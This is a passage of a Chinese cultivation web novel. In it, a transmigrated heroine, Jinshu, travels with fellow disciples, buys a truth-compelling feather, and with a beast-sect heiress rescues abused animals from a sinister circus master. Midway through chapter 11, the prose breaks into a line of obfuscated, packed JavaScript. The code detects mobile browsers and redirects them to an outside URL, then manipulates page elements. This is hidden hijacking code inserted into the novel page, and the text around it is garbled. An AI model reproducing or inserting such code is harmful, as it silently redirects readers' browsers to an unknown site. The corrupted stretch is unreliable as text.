长老们本来计划着派出资质较深的弟子前去除妖,不料李行道的师傅怀山真人是个毫不收敛的性子,好不容易收个天赋异禀的弟子便时不时的提起两句,得意洋洋的吹嘘一番。一听到李行道,玄清真人自然就想起来纪锦书,顺理成章地提到自己的一个弟子好不容易被法器认主,实力大增,另一个弟子又刚刚出关,自己也是如何的春风得意。 其他几个长老一听如此,当即就志同道合地决定,让大师兄、二师姐带上锦书他们三个小弟子前去偃建村历练一番,也算是长长见识。 锦书两人自然不能拒绝,顺从地应下了。 只是锦书心中颇为不安,原因不是其他,原书中从未提及过什么偃建村。 10. 第 10 章 在原书中,锦书这个点正因为伤了同门而被关禁闭,不知是何原因,陈赋舟也没有被提及,年岁不大的亲传弟子并没有几个,所以长老们只是默默忍受着怀山真人整日的得意洋洋,并没有想起来让年轻弟子们前去试炼。 不过她心中虽有几分不安,也在听到玄清真人宽慰地说道这妖修为不高、只不过让众人出去长长见识后放下心来。 到底是年轻的弟子们第一次单独出远门,玄清真人再怎么心大也不会掉以轻心,他拉着两个弟子百般叮嘱: “出门不要随便惹事,但如果有人招惹,也别忍气吞声。” “你们大师兄脾气软,又是个丹修,你们多照料照料他。” “大师姐呢脾气不大好,记得跟紧她,别和她走散了。” “打不过千万别逞能,待会让阿福给你们准备几个唤影玉牌,出事了就用灵力激发,宗门自然会派人过去,不要拿自己的性命开玩笑。” 玄清絮絮叨叨地说了一大堆,千叮咛万嘱咐中都是老父亲般的慈爱,两个弟子耐心地听着,时不时点头回应。 话毕,只见殿外,阿福搂着一堆唤影玉牌,冒冒失失地往这边跑,锦书刚想提醒他慢点,就看见他一脚飞起,滑稽地栽倒在地。 锦书提醒还没说出口又咽了下去,她好笑似得上前一把提起阿福的衣领,将他捞了起来,又蹲下来把玉牌一个一个捡了起来放在了桌子上。 阿福重重的摔了一跤,本来年岁就小,忍不住痛,委屈地站在那里,呜呜地哭了起来。 锦书看他圆圆的小脸涨得通红,哭的满脸眼泪显得分外可爱,不由得捏了捏他鼓鼓的腮帮子。 阿福好像被这个向来骄纵、爱恶作剧的师姐突如其来的关怀吓了一跳似得,也顾不着哭了,慌慌张张地就把地上的玉牌一股脑地拾了起来,堆在了桌子上跑了。 锦书嘟囔了句:“有这么怕我吗?生怕和我多呆一秒啊,我又不会吃了你。” 陈赋舟从桌上捡起几枚玉牌踹进怀里:“师姐,要一起回去吗?” 锦书点点头,也揣了几枚玉牌,同他并肩走出殿外:“对了,你待会有空吗?” 陈赋舟:“嗯?” “如果有时间,能不能教教我编辫子。”锦书眼神恳求,做出了一副拜托的模样,两只手也握在胸前,眨了眨眼睛看向陈赋舟。 爱美人设不能崩,其他人估计没有玄清真人这么好骗,如果被发现就糟糕了,还是尽早学会为妙。 锦书坐在桌旁,陈赋舟站在她身后,动作轻轻地拆下了她的发带,锦书感到一双手在自己脑后仔细地运作着,自己对着镜子只能看见那双手灵活地把玩着发丝,令她看的眼花缭乱,一时也不知是觉得麻烦师弟而感到丢人还是怎的,有些不好意思地垂下了脑袋。 “师姐,抬头。”冰凉的手指抚上她的下巴,轻轻地往上抬了抬。 镜子中的少女美丽动人,两个团子工整地待在耳侧,几缕长长的直发从两侧往下散开。 “我本来以为你只是说着玩玩,没想到手艺真这么好啊,可惜我刚刚看了半天也没看出什么门路。”锦书转过半个身子,朝陈赋舟呲起大牙。 他谦虚道:“师姐若是想学,不妨每日都来找我。” 两日后,甸兰城。 甸兰城被一座座大山围在中央,离天玄宗并不算近,一行人乘坐交通法器早早就出了门,马不停蹄地赶到时已接近黄昏,大师兄唯恐周围山群中有法力高强的妖兽,便提议先在甸兰城修整一夜。 黄昏时分,巍峨耸立的群山和天际线紧密相接,大地蒙上了一层神秘的色彩,甸兰城如同一颗明珠镶嵌在画卷中心。 车停在了修仙者常住的一家客栈门外,锦书脚步轻盈地跳了下来,扫视着四周新奇的一切。 甸兰城虽然在大山深处,却坐落于一条重要的交通路线上,此时虽然天色已暗,但是大街上人来人往、形色各异让锦书看花了眼。 “小师妹坐了一天车还不累吗?”步阙乾紧随其后下了车,他笑着拍了拍锦书的头:“先进客栈吧。你若是想在城里逛一逛,也等大家收拾好了再一同上街。” 等一切收拾妥当,一行人终于喘了口气坐在客栈一楼的大厅用膳。 “大家不用客气,今日想吃什么就点,大师兄请客。”步阙乾大方的接过小二递来的菜单顺手递给了身侧的人。 一个身着白衣的女子从他手中接了过来,她容色秀丽脱俗,脸颊饱满红润,长眉入鬓,唇如花瓣,虽是修仙之人,却一脸富贵相,好似一朵雍容华贵、艳而不俗的牡丹,正是大师姐燕临。 燕临嘴角一动,似是要笑,两片饱满的嘴唇里吐出来的话丝毫不留情面:“少来了,花的是你的钱吗?” 步阙乾被堵的哑口无言,好脾气地摸了摸脖子,转移话题道:“师妹你别闹我了,快看看吃什么,点菜吧。你看小师妹为了去逛街猴急成啥样了,屁股都快从椅子上飞起来了。” 锦书正乐滋滋地趴在燕临肩头看菜单,闻言瞪大了眼睛,不客气的回道:“大师兄你可少来,谁是还在车里时就打着算盘,要拿多余的钱去买草药了?” “你拿这钱炼出来的丹药要是不分我几颗,可别怪我告诉长老们。” 陈赋舟眯了眯眼睛,溢出几分笑意接道:“大师兄可千万不能厚此薄彼把我给忘了。” 谈笑间,店小二已经把菜都上齐了。 甸兰城日常饮食并不清淡,恰恰相反,这里的居民性格热情、无辣不欢,燕临跟着菜单上的招牌菜点的,锦书瞅着半张桌子的菜都布满了红红的辣椒不由得咂了咂舌。 锦书从小就不能吃辣,一吃起来就容易涕泪横流,只能挑拣些不辣的入口。 陈赋舟偏了偏头,问道:“师姐不能吃辣吗?” 锦书戳了戳碗里的鱼块:“从小吃得少,说不定我多试试就能吃了。” 她打量着那块裹满红油的肉,顿了顿,夹起鱼块视死如归地往嘴里送。 一股刺挠一般的痛觉从舌腔直达大脑,害得她差点一个没忍住从椅子上蹦了起来,生理性泪水从眼眶中夺出,锦书急忙用手在嘴前反复扇着。 “哎呦,师妹你这是怎么了?”燕临一阵惊呼。 锦书本想说一句自己没事,谁料嘴里实在辣的要僵住了,一句也说不出来。 陈赋舟一把把装着茶水的杯子塞进她手里:“师姐快用些水,这是我早就倒出来的,不烫。” 锦书猛灌了几口水,自闭地仰头朝天张开嘴,等那股灼伤感自己散去。 “小师妹辣成这样,那这鱼就少一个人和我抢了。”步阙乾嬉皮笑脸地说道,那样子引起一旁的燕临忍不住笑骂了句“不要脸”。 锦书哼了一声没理他。 一直没怎么说话的李行道有些犹豫地开了口:“师姐你吃的这个是这桌 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锦书吃惊地看向两人,她咬着筷子,下意识对比着,发现两人果然面容相似。 小少年笑起来两颊处都有酒窝,而陈赋舟只有右侧脸颊有,两个人的桃花眼也如同一个模子里刻出来的一样,只不过他年纪太小,看上去并没有陈赋舟那乌黑的眸子般勾人心魄。 但陈赋舟却不像常人一般,他眼中的因打闹而起的笑意转瞬即逝,情绪晦暗不明,甚至毫不留情地一把将人从怀里拉了起来,冷冷道:“我在这里和你有什么关系。” 少年不情愿地站直了身子,委屈地憋了憋嘴道:“哥哥,你一点都不关心我。我来这里可是为了你啊!” 陈赋舟恍若未闻,他背过身并不搭话,而是抄起筷子继续吃了起来。 少年也不气馁,像是没发觉到对方的冷淡似得接着说道:“再过一月便是仙门大比了。这次仙门大比定在川浮城,听说仙境内有株名唤两仪仙芝的灵草,我翻阅家中典籍发现这两仪仙芝说不定能对你的病症有缓解作用。” 锦书敏锐的发现陈赋舟捏着筷子的手顿了顿,少年却没发觉到,只是自顾自的说:“哥哥你放心,我这次就是要去参加仙门大比,我一定会找到两仪仙芝的,到时候你再也不用遭受反噬了。” 陈赋舟头也不回:“不用你劳驾了,我需要的东西我自己会拿到。”随机。他高声道:“还不把他带下去?” 跟在少年身后的几个仆从得到命令,才走上前来,好说歹说地把人拉了下去。 锦书看着一步三回头、双眼含泪的陈安然,不禁若有所思。 仙门大比是男频小说常用的套路了,《剑神纪》自然也少不了。龙傲天在仙门大比中一鸣惊人,所获灵丹妙药、芳心无数,真正意义上的在修仙界名声大遭。这仙门大比全修仙界但凡有点名气的宗门世家都会派出年轻一辈参加,只盼弟子们能有所收获。 原书中,纪锦书正苦逼的关着禁闭,天玄宗派出去参加仙门大比的只有大师兄、大师姐、及主要人物李行道。 看来由于蝴蝶效应,陈赋舟也要参加这次仙门大比了。 再看看一心一意埋头吃饭、跟个傻小子一样的龙傲天。 锦书在心里叹了口气,希望不要有什么不妙的事发生才好。 11. 第 11 章 灯火璀璨,将一方无边无际的黑夜照的灯火通明,宽阔的街道延伸数里,人群熙熙攘攘,一旁摆满了各式各样的小摊,小贩们此起彼伏的吆喝声在吵闹的市声中撕开一道口子,街头巷尾热闹非凡。 灯笼一盏一盏高高悬挂,照的人如痴如醉,锦书兴奋极了,上辈子她就鲜少出门,更别说是去闹市逛街了。她东跑跑、西看看,手舞足蹈地跑来跑去,众人都被她的情绪感染了,不禁都笑了起来。 锦书今日穿的是件碧色的长裙,远看犹如拢着一窝春水,风轻轻拂过,裙摆微微漾开,如同被吹皱的湖面。在客栈时,陈赋舟主动开口,仔仔细细地替她盘了个双环髫,点缀了几颗晶莹的珠花,显得格外娇俏清新。她精力十足,一刻也不停息,叽叽喳喳地同人讲话,像极了一只跳脱灵动的小鸟。 美中不足的是,长街上的人如潮水一般,摩肩接踵,挤的几人都是满头大汗,不过几个转身,锦书就找不到其他几人了。 她暗道一声糟糕,随即便安慰自己大不了待会直接回客栈和其他人汇合,希望他们不要因为找不到她着急。 来都来了,锦书心大地想着干脆直接逛完这条街再回去算了,于是也不再多想,放心大胆地逛了起来。 同样被挤散的还有陈赋舟,两人同大部队分离时,他还曾在人群中远远地看见了纪锦书 她碧色的衣衫格外打眼,又踩着轻快的步子,走路时犹如一只欢快的小雀扑棱着翅膀。 人影交叉闪烁,众多身影中,少女抬手拂了拂鬓边碎发,脸颊上的绒毛在亮光的照耀下清晰可见,她长长的睫毛下明亮的眼珠又大又圆,滴溜溜地扫试着四周的一切,带着懵懂与无知。 简直像刚刚路过的小摊上摆着的新鲜青梅。 但也不过几个留神,人潮便将两人彻底地分开了,陈赋舟皱了皱眉,本想追过去,奈何太多人穿插在两人中间,他也只能退后两步才能躲开不少碰撞过来的路人。 “走过路过不要错过,各位客官看好了,这可是难得一见的丹心羽。” “什么!你怎么连丹心羽都没听过说过!你这人也太没见识了。” 锦书被吸引了注意力,脚步顿了顿,闻声望去,只见自己左侧一个站着一个个子不高的男人,他连张桌子都没有,卖的东西也只有一件,正被他紧紧攥在手里,高高举起。 那是一支通体红色的羽毛,上下流转着晶莹透亮的光晕,像是把晚霞揉碎了染了色,又用月光淬炼出了琉璃般的光泽,显然并非凡品。 那被当众下了脸的人也不恼怒,他笑着要去捉那只羽毛,被小贩轻巧地闪身躲开,于是讪讪问道:“你也别老在这卖关子了,到底是啥东西,再不说俺们可要走了。” 围观的人群随即起哄起来,催促着小贩赶紧出清楚。 小贩不急不慢地对众人比了个“嘘”的姿势,待安静下来后,才慢条斯理的说道:“你们听说过丹心鸟没?传闻中,丹心鸟浑身就和火焰是一个颜色,他们性格爆烈,能口吐人言,但却没一句真话,但凡有人能够拆穿它的谎言,它就会恼羞成怒,啄下自己额上最亮丽的一只羽毛扔给这人。” 他面露得意地补充道:“我这可是货真价实的丹心羽,祖祖辈辈流传下来的!倘若有人在你面前撒谎,只要用灵力催动这片羽毛,就会出现一个空间将你们两人吸纳进去,在这个空间里,你可以问对方三个问题,对方只有如实回答,两个人才能从空间脱离。” 听了这番话,众人反应却没有男人想象的那么热烈。 “什么嘛,咱们普通人哪来的灵力?” “就是,再说听个真话有什么用?就算我问出来他私房钱在哪,难道我还能去偷去抢不成?” 众人一哄而散,小贩哎哎了两声,眼见没人搭理自己,只能失落地收拾东西要走。 “你这个怎么卖?”他错愕地抬起头,只见面容姣好的少女正站在自己面前,好奇道:“不贵的话我就买了。” 小贩本以为今日又是落空,眼见还真有人来,不由得喜笑颜开张开手比了一个数字。 锦书放宽了心,其实她只是觉得这片羽毛好看想买来当个挂饰而已,眼见价格不贵,也爽快道:“行!” 话音未落,身旁传来一道另一道声音:“我出双倍!” 锦书错愕地看了过去,竟然是之前在客栈遇到的陈安然。 这小鬼比她矮了一个头,出钱的时候倒怪有气势。 陈安然挑衅地冲锦书挑了挑眉道:“老板给我包起来。”他可认得旁边这人,居然和哥哥一起吃饭,哥哥不仅老盯着她看,还对她笑! 锦书被这股子莫名其妙的敌意针对的火大。 “我出三倍!”锦书不甘落后,不就是比谁有钱吗,她零花钱可不少。 小贩傻眼地看着两人一对一地叫价,原本没人要的物件逐渐成了天价,等陈安然叫到六倍的时候,锦书无奈地摊开双手道:“看来你确实很想要喽,那我就做个好人不和你抢了。” 陈安然边往腰上挂的荷包摸,边得意洋洋地说道:“没钱就没钱呗,谁稀罕你让给我......” 话没说完,人倒是先哑火了。 锦书眼神顺着他的手看了过去,这小鬼哑火果然不是没有原因的,他腰上挂的哪还有荷包,只能摸到一手清风。 “看来你们俩没缘分喽。”锦书笑着摸出了灵石递给小贩,接过丹心羽在陈安然眼前晃了晃。 陈安然眼眶泛起了一圈红,平时上哪都有人捧着的小少爷哪里受过这种气,连声嚷嚷道:“你,你别得意。要不是我钱被偷了,几个仆从也不知道跑哪里去了,哪里能轮到你捡漏!” 锦书才不理他呢,将丹心羽挂在腰上就要走。 还没走两步,就感到有什么东西拽住了她的袖子,她低下头看见陈安然扒着自己,抬起小脸眼巴巴地看着自己,一双大眼水汪汪的,看的锦书心软了几分,停下脚步,轻声问道:“干嘛?” 陈安然抿了抿嘴,晃了晃她的袖子,老实道:“姐姐,我真的想要这羽毛,求你了,等我找到钱,两倍卖给我好不好?” 锦书歪了歪头,一时间有些心软:“你要这个干嘛啊?” 陈安然念念不舍地盯着锦书腰间的丹心羽,开口道:“哥哥之前养过一只鸟,羽毛和它很像,我想送给哥哥。” 锦书没想到竟是这个原因,哑然了片刻道:“你哥哥居然还养过鸟?” “哥哥年纪还很小的时候养的,那只鸟长得很是乖巧可爱,整日的唱歌,却只对哥哥一人亲近,我有一次想同它玩耍,它却啄破了我的手指,母亲很是生气,就没收了那只鸟。”陈安然声音越来越低,沮丧地嘟囔着:“都是我的错,哥哥一定是生我的气了才不回家的,今天之前,我都好久没看到他了。” 锦书歪了歪头,原来陈赋舟拜师还有这样一丝缘由啊。 陈安然尖尖的小脸上一双漆黑的眸子有气无力的耷拉着,像极了一只垂头丧气的小狗。 锦书心中好笑,蹲下身像模像样地拍了拍他圆圆的脑袋,安抚道:“你想多了吧,他只是闭关而已,怎么会和你这么小的孩子置气,不过虽然你只是无心之失伤害你哥哥,但还是要补偿他才对。” 看着满脸失落的小孩,锦书对他脑门弹了弹手指,拉起了他的手,道:“既然你和其他人走散了,就先跟着我逛吧,至于这个丹心羽,如果你表现好,我就送给你怎么样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898124|192304||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两人一同沿着繁华的街道走着,锦书上辈子天天宅家,如今上了街简直什么都想买,什么都想试。 陈安然起初还被她紧紧拉着手,生怕搞丢,没过多会,两人就熟悉了起来,他两只手就提满了袋子,满脸复杂的跟在锦书身后,生无可恋地问道:“还要买吗?” 锦书欣喜地晃了晃脑袋,上面还插着她刚买来的精致发簪。 不远处隐隐传来一声又一声的叫好声,锦书疑惑地伸头望去,只瞧见围了几圈的人群,她拉紧陈安然的手:“那边在干嘛呢?咱们过去看看。” 锦书兴致昂扬地拉着陈安然上前凑热闹。 欢呼声是从一个高高耸立的帐篷前传来的,两人好不容易才挤进人群。 只见一群人围着帐篷形成半圆,帐篷前的空地上,几个衣着怪异的人正在喷火,高高的火焰从口中飞出,照亮一方,火花四溅,叫好声不绝于耳。 原来是个表演马戏的戏班子。 “接下来为大家带来表演的是——”站在中央的男人为了吸引路过的观众特意拖长了腔调,大声宣布着。 “唉?是一只猴子。”陈安然已经挤到了前面,好奇地接了一句。 “猴王登天!” 一只瘦弱的猴子无精打采地从后方走了出来,他带着坡脚一顿一顿地走到了观众面前,锦书敏锐的观察到它后腿上还有一大块未愈合的伤口,正随着脚步慢慢的流血。 锦书皱了皱眉,这哪里是什么猴王,病猴还差不多? 男人拿出一只不太新鲜的香蕉对猴子比了比,猴子的视线紧紧的聚焦在了香蕉上,那双眼睛里满是渴望与深不见底的疲惫,男人满脸横肉,即使笑起来也显得凶横无比,他将香蕉塞回了兜里,伸出另一只手对猴子比了一个手势。 猴子顺从地直起身子,灵巧的向前翻了几个跟头,随机,它颤抖着爬上架子,那架子仅仅用几个老旧的凳子堆成,没有什么额外的固定措施,高高堆起,摇摇欲坠。 猴子显然有几分迟疑了,它僵住了片刻,男人已经不耐地厉声令下道:“跳!” 听到怒吼声,猴子下意识的抖了抖肩,只得缓缓地勉强抓住更上一层的凳子腿,两脚蹬在下一层的凳子上,奋力地向上跃去。 架子果然支撑不住了,晃荡一声散架开来,猴子重重地摔落在地,呜咽着蜷缩成一团。 观众们喝起倒彩,男人面色铁青,眼中凶光毕露,他不知从哪里拿来一把长鞭,毫不留情地甩在了猴子身上,它发出一声凄厉的惨叫,在地上打了两个滚。 陈安然瞳孔微缩,惊呼了一声,捂住嘴退后了一步。 “这是马戏?”锦书怒气冲冲道:“这分明是虐待吧!” 她气鼓鼓地要往里面冲,陈安然一把抓住她:“哎,你不要多管闲事,这里这么多本地人肯定都是向着他们的,我们才两个人,寡不敌众。” “可我没法眼睁睁地看着他们这样做!” 锦书仍然坚持要去阻止,但有人比她动作更快。 “喂,你们几个家伙干什么呢!” 两人看向声音穿过的方向,那里的人群散开一条宽阔的道路,围观的人都面露惊恐地后退着,小路上,一头威风凛凛的老虎发出低吼走向表演的地方,它背上坐着一个同锦书年纪差不多大的少女。 少女面色不佳,柳眉竖起,她高高地扬起手里的鞭子甩向虐待猴子的男人。 男人大吃一惊,连连后退来躲避来势汹汹的鞭子。 鞭子甩出一道道劲风,男人虽然狼狈地躲来躲去,身上仍然留下了几道鲜艳的血痕,看的老虎也眼露凶光,少女质问道:“怎么,之前不是挺得意的吗?一样的鞭子抽在你身上就受不了了?” 12. 第 12 章 锦书疑惑地怼了怼陈安然的胳膊:“这人是谁啊?” 陈安然摇了摇头:“不认识,不过看她骑的是灵兽,估计是御兽宗的人,而且应该是御兽宗的核心弟子。” “怎么看出来的?” “这几天这城里全是各个宗门世家的核心弟子,为了那个东西,怎么可能会派外门弟子来。” 锦书更加疑惑了:“那个东西?是什么?” 陈安然瞪大眼睛看向她:“你和我装什么傻啊?大家不都是为了那个来的吗?” “我真不知道啊?我们来这里是因为宗门任务。” 陈安然有些半信半疑,听了这番话又想说些什么,可虎背上的少女却停下了手里的鞭子,他被吸引了注意力:“等下再说,先看看她要干什么。” 锦书一头雾水地看向那少女,她轻盈地跃下虎背,抱着肩膀狠狠地踹了一脚被鞭子抽的在地上打滚的男人:“姑奶奶最看不惯你这种人。” 男人抱着头大叫道:“我们可是正儿八经的马戏团,你敢打我,我要报官!” 少女闻言反倒勾起了嘴角:“你报啊,告诉你,姑奶奶行不改名坐不改姓,御兽宗少宗主熊戚。” 熊戚? 这名字耳熟,锦书激动地一拍手掌,想起来了,那龙傲天小说里提起过,和李行道年龄相仿的几个世家子弟都颇有天赋,堪称修仙界黄金一代,虽然依旧在最后都以不同花样输给了男主角,但还是很强的。 熊戚就是这赫赫有名的黄金一代中的一员。 男人只是个普通人,虽然不知道什么黄金一代却也听说过这些大宗门的威名,只能慌里慌张地从地上爬起来后退了几步。 熊戚扬了扬下巴:“像这猴子一样的兽类,你们这里还有几只?” 男人结结巴巴地说不出来话,哪里还有先前在猴子面前的嚣张模样。 熊戚不耐烦了起来:“我问你话呢,你在这给我装什么哑巴?” 这时,又一道声音响起:“原来是御兽宗少宗主,我在此拜过了。”说话那人从帐篷中走了出来,他身材魁梧,脸上有着几道刀疤,小小的眼睛里大半都是眼白,令他显得格外凶神恶煞,不过此时他却是挂着笑容。 熊戚有些不屑地上下打量了他一番:“你又是什么人?” “在下是这座马戏团的团长,大名张威,正巧之前与令尊还有些交情。” “我怎么没听爹爹提起过?” 张伟笑道:“许是小人没那么大的名声,我看今日之事应当是少宗主误会了,你刚才看到的不过都是我们的表演罢了,我们对这些兽类再好不过了,那些伤痕血迹都是些马戏团使得独门障眼法。” 熊戚怒道:“少来骗你姑奶奶,你以为我是傻子是不是?” “少宗主,少宗主,等等。”一个续着长胡的人急匆匆地穿过人群,跑到熊戚面前,他对熊戚比了个手势,熊戚便站到了他的面前,将耳朵附了过去,那老人不知说了些什么,只见熊戚脸色微变。 张伟仍旧笑呵呵地看着两人,好像一切了如指掌一般。 熊戚稍作思索后,又跃上虎背,她面上尚带有几分不爽:“哼,算我今日不走运,不过,我警告你,你如果再动用酷刑,我一定不会放过你的!” 熊戚骑着老虎走了,只留下锦书目瞪口呆地向陈安然问道:“她,她这就走了?” 陈安然显然也没想到气势汹汹的熊戚就这么走了,一时间也有些无语。 “这个张伟一看就骗她的,她就这么走了,那刚才那一通还有什么意义啊,这些兽类回去估计还是会被打得很惨的。” 陈安然挠了挠头:“那怎么办啊?看样子,这个张伟有点本事,连御兽宗少宗主都被他吓跑了。” 面前的场地里,几个人已经开始收拾起了东西,他们不客气拎着猴子的后脖颈往帐篷走去,张伟凝视了一会熊戚的背影,然后转过头对几个马戏团的人说道:“今晚喝酒去吧,这几天先不表演了,最近来了太多麻烦的人。” 锦书思索片刻,拍了拍陈安然的肩膀:“我们走。” 她将陈安然来到了一个有些偏僻的小巷子。 天色不早了,吹起了小风,陈安然打了个哆嗦:“我们不回客栈吗?” “当然不能回去了,我们去把动物偷出来。”锦书眼睛亮晶晶的。 “啊?”陈安然目瞪口呆:“等一下,我可没说要和你一起啊?” 锦书眯起双眼:“管你答没答应,上了我这条贼船就别想跑。” “可是,只有我们两个人怎么可能把一整个马戏团的都偷出来啊,而且要是被发现了怎么办?” “没办法,想要成功就要承担风险,总不可能眼睁睁看着它们被打死吧!” “你以前都这么爱多管闲事吗?”陈安然撇撇嘴。 锦书语气一巴掌拍在他的脑袋上:“这怎么能叫多管闲事呢?放心吧就算救不出来它们,我也有办法带着你全身而退。” 陈安然妥协了:“你先说你的计划。” “他们待会要去喝酒,你就负责跟着监视他们,剩下的交给我就行了,有什么事用通信灵石联系我。” “你一个人行吗?” 锦书对他晃了晃手腕,绊玉化作的手链发出清脆的声响:“放心,我的本命法宝可以随意化形,带走这些兽类并不难,如果被发现了,不过只是没有灵力的普通人而已,我用脱身咒就能跑掉。” 她表情信誓旦旦,陈安然郑重地点了点头:“那我就先去门口蹲着了,等他们出来走远了就联系你!” 等他走远了,锦书找了家卖衣服的店,把一身显眼的衣裳换成了黑色,接着她围绕马戏团转了一圈,居然刚好找到了一块被布掀起来的角落,很方便钻进马戏团内部。 马戏团的灯火熄灭了,过了大约半个时辰,锦书收到了陈安然的通信灵石,于是便小心翼翼地往马戏团的那个缺角靠了过去。 漆黑的环境令人格外没有安全感,锦书摸索着四周,动作缓慢。 “啊?”一声短促的惊呼,显然是声音的主人受到惊吓又想起不能发出声音。 锦书也吓了一跳,摸到手里温热的触感,她条件反射地向后跳了两步。 受到惊吓的那人率先小声质问道:“何人?” 锦书一听到这熟悉的声音就恍然大悟:“你是那个熊戚?” 熊戚警惕道:“你怎么认得我?” 自己人,锦书迅速做出判断,便也放下心来:“你来这里应该和我是一个目的吧?你刚才阻止他们的时候我就在围观群众里。” “目的?你是来救它们的?” “对,我叫纪锦书,是天玄宗的弟子,既然我们两个目的一致,那就一起行动吧?” 熊戚有些怀疑地问道:“你有什么理由让我相信你?”< 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锦书转过头就看见了那只瘦弱的猴子,它正抱成一团,后背上的伤口向外渗血,将本就脏兮兮的皮毛染成了暗红色,除此之外,还有一只瘦骨嶙峋的黑熊也只是喘着粗气老实的趴在笼子里。 这些笼子都十分肮脏,里面摆着的水和食物显然也已经放置了很久,兽类大多身上都布满了伤口,更有甚者伤口已经开始发炎了。 “这些王八蛋!”熊戚看着这惨状咬牙切齿道。 锦书心中也是颇为不忍:“你是御兽宗的,应该能帮它们暂时先包扎一下吧?” “没问题,不过等我们把它们带出去后还要另外医治才行。我这次是偷偷跑出来的,不能让宗门里的人知道,没法把它们带回去,不过我看它们体内并无灵力,不过是普通的兽类,带到城外放生就行了。” 锦书点点头:“好,你先去包扎,我同我的哨兵说一下,让他买点草药去城外接应我们。” 闻言,熊戚挑了挑眉:“你还带了哨兵啊。” 锦书微微一笑:“不打没准备的仗。” 只是简单的包扎对熊戚来说得心应手,她很快就处理好了。锦书这边也已经通知了陈安然,还把绊玉变成了一个无敌巨大的袋子。 熊戚搂着那只猴子,走向锦书:“你这个袋子透气吗?” 锦书和绊玉心意相通,早就已经提前探知了:“放心。” 熊戚这才放下心来,她口中念念有词,犹如吟唱一般吐出一连串锦书听不懂的咒语,几只兽类眼神变得温顺了下来,它们轻轻地喘着气有序地往袋子里走去,最后熊戚怀中的猴子也跳了进去,整座马戏团除了锦书和熊戚已经没有别的生物了。 袋子化作手链套在锦书手腕上,她有些好奇地问道:“那是御兽咒吗?” 熊戚心情颇好,爽朗地笑道:“没错,不过我用的这个比较难,你要是想学,我可以教你几个简单的。” 锦书高兴道:“真的吗?那太好了,不过我们还是先离开这里吧,我这法宝也不能容纳它们太久。” 熊戚点了点头:“我的坐骑就在附近,待会我带你走。” 不会是那只老虎吧,锦书想起那只威风凛凛的老虎,不禁打了个冷战,对一个现代人来说,骑老虎这种事还是有些为难。 只是还没等她克服心里的恐惧,一个男声如惊雷一般劈下:“走可以,把我的东西留下来。” 13. 第 13 章 熊戚错愕地转过身,正是之前看到的张伟。 张伟周身亮起光芒,脸上满是凶狠之色:“早知道你这个小东西还会来,只是没想到......”说着,他看向锦书:“这里还有个意外之喜,既然来了,那就别怪我不客气。” 熊戚后退半步:“这家伙居然蹲守在这里。” 锦书一把抓住她的手腕,镇定道:“我早就猜到了。” “啊?” “这么大一个马戏团,怎么可能会露出那么明显的一个破绽让我们进来,一看就是有诈啊。” “那你还来?” 锦书对熊戚露出一个令人安心的笑容:“我既然知道有危险,怎么可能还会束手就策,早就做好了后手准备。” 少女明媚的笑脸令熊戚呆了呆,张伟却已经不耐烦了:“两个小丫头片子叽里咕噜说什么呢?别以为你们是御兽宗的我就会怕你们,你既然之前走掉了,也该知道我是谁吧?” 熊戚冷哼一声:“不过一个叛逃者,要不是这次出门没带宗门的长辈,你以为我会放过你?等我回去了,就禀告父亲,让他们来抓你回去。” 张伟仰天大笑道:“不自量力,你以为我还会让你出去吗?我会让你们悄无声息地消失。” 锦书扯了扯熊戚的衣角,小声说道:“你把你坐骑唤来,替我拖延一点时间,我这法宝现在没法幻剑,我没什么战斗力,我早就布好了几个传输法阵,等我催动,我们就能直接传送走了。” 熊戚微不可查地点了点头,催动灵力,随着一声口哨声,一阵狂野的虎吼声传来。 “吼”熊戚的灵兽老虎撕开帐篷的一角,跃到主人身侧。 熊戚状态也随着灵兽的到来更盛了几分,熊戚亲昵地拍了拍老虎的脑袋,随即喝到:“去!” 老虎张着血盆大口扑向张伟,张伟挥了挥手带起一片乌黑的灵力,老虎突然撕裂地吼叫了一声,熊戚面上流露出几分焦急,本命灵兽与驭兽师相辅相成、相互依存,任何一方遭受到打击另一方都不可能避免。 好在老虎只是摆了摆头,仍旧凶恶地扑向张伟,锦书激发传送阵的同时也在暗暗关注着战局,不由得感叹不愧是当今修仙界的黄金一代,熊戚的实力确实很强。 “熊戚,不用纠缠,我好了。” 闻言,熊戚又吹了一声口哨,老虎停下了攻势,转身朝两人跑了过来。 张伟有些得意:“两个小丫头这就不行了吗?” 熊戚利落地跨坐在虎背上,又伸手一把拉起锦书让她坐在自己身后。 锦书有些好奇地摸了摸结实的虎背,接着不忘催动灵力,一片能晃瞎人眼的白雾绽放开,张伟被那炫丽的光芒迷住了眼,连忙用手掩盖在眼睛上,后退两步。 锦书嘿嘿地笑了一声:“不陪你玩了。” 随即,烟雾散去,张伟面前哪里还有那两人一虎的身影。 不过一瞬间,熊戚就发现自己已经来到了一个没什么人影的小巷子,只有一弯皎洁的明月挂在空中,洒下晶莹的月光,将两人一虎的影子倒映在墙上。 熊戚大大咧咧道:“没想到你逃跑的技术这么高超。” 锦书气结道:“哪有这样说话的,除了逃跑,我其他也很厉害的好吧。” 开玩笑,她当然知道自己现在并不强,为了防止出什么意外,在出发前她特地找了好几本相关的古籍,又去问了玄清真人,才学会了几个最快捷安全的逃生之法。 熊戚傻笑了几声:“我开玩笑的,你别生气。” 锦书催促道:“时候不早了,咱们赶紧去城外吧,我的外应已经在城外等着我们了。” 熊戚应道:“好,你坐稳了。” “想跑到哪去?”锦书瞪大眼睛,墙上站着一人,赫然是刚才被她们甩在身后的张伟。 “你们带走的那群畜生体内都有我留下标记,就算逃到天涯海角都不可能逃离我的手心。” 锦书抓紧熊戚地衣服:“没想到她还有这招,不管了,我们先跑出去,我大师兄他们就在城内,待会一边跑,我一边催动我们天玄宗的求救信号,他们会来帮我们的。” 熊戚不敢耽误,她座下的老虎和主人心意相通,大步朝着城外的方向跑去。 “小花,你跑快点。”熊戚急切地拍了拍老虎的脑袋。 